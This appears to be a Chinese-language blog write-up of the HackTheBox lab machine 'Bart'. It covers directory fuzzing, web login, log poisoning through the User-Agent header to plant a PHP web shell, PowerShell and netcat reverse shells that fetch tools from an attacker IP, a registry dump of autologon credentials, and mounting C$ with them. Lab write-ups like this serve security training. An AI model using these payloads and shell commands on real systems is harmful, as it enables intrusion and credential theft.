Avatar {{帝力于我何有哉}} 不疯魔,不成活。 Be obsessed, or be average.


HackTheBox >_ Bart_81

Bart_81

image-20200928085154003

80

正常扫目录会扫出大量无用目录

这时可以使用wfuzz。因为他包含许多过滤规则

image-20200928085514797

观察可发现无用的目录都是chars=158607 ch,其他数据都是一样。是无用的目录。

使用过滤的wfuzz语句

$ wfuzz --hh=158607 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt http://10.10.10.81/FUZZ

image-20200928085711847

同样可以使用的语句还有很多

详尽例子

https://www.freebuf.com/column/163553.html 史上最详[ZI]细[DUO]的wfuzz中文教程

image-20200928085809949

image-20200928085829462

在网页的源码里可以发现 harvey potter是网站的开发者,并且他还没有完成网页。

如果没发现的话,其实也可以cwel组字典。暴力进攻

无论如何

harvey:potter的凭证可以直接登录http://10.10.10.81/monitor/

image-20200928090006652

image-20200928090044533

点击其他功能会不能正常显示页面

image-20200928090333349

可以看到上面出现域名。所以加入hosts

image-20200928090350524

正常访问

image-20200928090407695

image-20200928090458898

servers中发现一个新的域名。加入hosts TAB分隔即可

image-20200928090428376

新登录窗口

image-20200928090524418

使用harvey:potter凭证,被告知密码至少有8位。

image-20200928090602563

找线索google搜索这个php

image-20200928090633589

指向github

https://github.com/magkopian/php-ajax-simple-chat

image-20200928090710194

在github源码里看到有注册的页面。靶机不能浏览。

通过抓包改包将内容post过去到注册页面,register.php注册新账户

image-20200928091107617

使用新注册的用户登陆,得到新的聊天页面

image-20200928091228237

查看源码发现一个新的链接。

image-20200928091314520

http://internal-01.bart.htb/log/log.php

带的参数就很有意思,filename=log.txt

直接浏览这个log,会发现这个log.php的作用是返回我们的user-agent,将它保存在log.txt中

image-20200928092608976

也就是说,如果我们修改我们的user-agent,发包到这个php我们就可以记录任何东西到log.txt,但是txt我们无法利用,我们可以尝试把它到后缀改为php,在服务区上生成log.php,然后存入我们修改的user-agent,这样就可以被我们轻松利用

发包测试

image-20200928091538794

通过使用burp更改user-agent,我们可以将所需的内容添加到指定的文件中。就可以实现完整的RCE:

按照源码手动制作一个包,但是我们修改包的内容,使他不在生成log.txt,而是log.php。同时在user-agent写入我们需要的

cmd-shell参数,如下

GET /log/log.php?filename=log.php&username=harvey

User-Agent: <?php echo(exec($_GET['cmd']));?>

image-20200928091732445

测试

增加cmd=ipconfig参数

image-20200928091801378

成功。

现在尝试powercat 得到shell,注意把这个cmd命令给到burp suite之后一定要选中cmd=后面的命令然后使用快捷键ctrl+U进行url修饰。

否则无法执行成功!!!!!!

cmd=powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.41:8080/powercat.ps1');powercat -c 10.10.14.41 -p 4444 -e cmd"

image-20200928093405769

在监听端口得到shell,但是很多操作都做不了

image-20200928093425752

检查

powershell "[Environment]::Is64BitProcess"

image-20200928093542989

说明不在64位运行的,则无法执行一些需要的操作,例如:不可以转储存储在注册表中用于自动登录的默认凭据

image-20200928093849770

换个64位的nc

https://github.com/int0x33/nc.exe/blob/master/nc64.exe

传输到靶机

C:\inetpub\wwwroot\internal-01\log>powershell "wget http://10.10.14.41:8080/nc64.exe -OutFile nc64.exe"

C:\inetpub\wwwroot\internal-01\log>nc64.exe -e cmd 10.10.14.41 4443
nc64.exe -e cmd 10.10.14.41 4443

重新在新的监听端口得到64位的shell

image-20200928093814793

转储默认凭据

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

image-20200928093832396

DefaultDomainName    REG_SZ    DESKTOP-7I3S68E
DefaultUserName    REG_SZ    Administrator
DefaultPassword    REG_SZ    3130438f31186fbaf962f407711faddb

进入powershell并使用默认凭据利用net use 命令建立共享,参考 https://www.cnblogs.com/mamiyiya777/p/11017875.html

C:\inetpub\wwwroot\internal-01\log>powershell
powershell
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\inetpub\wwwroot\internal-01\log> net use x: \\localhost\c$ /user:administrator 3130438f31186fbaf962f407711faddb
net use x: \\localhost\c$ /user:administrator 3130438f31186fbaf962f407711faddb

image-20200928094033586

得到user

image-20200928094104748

root也同时得到

image-20200928094158562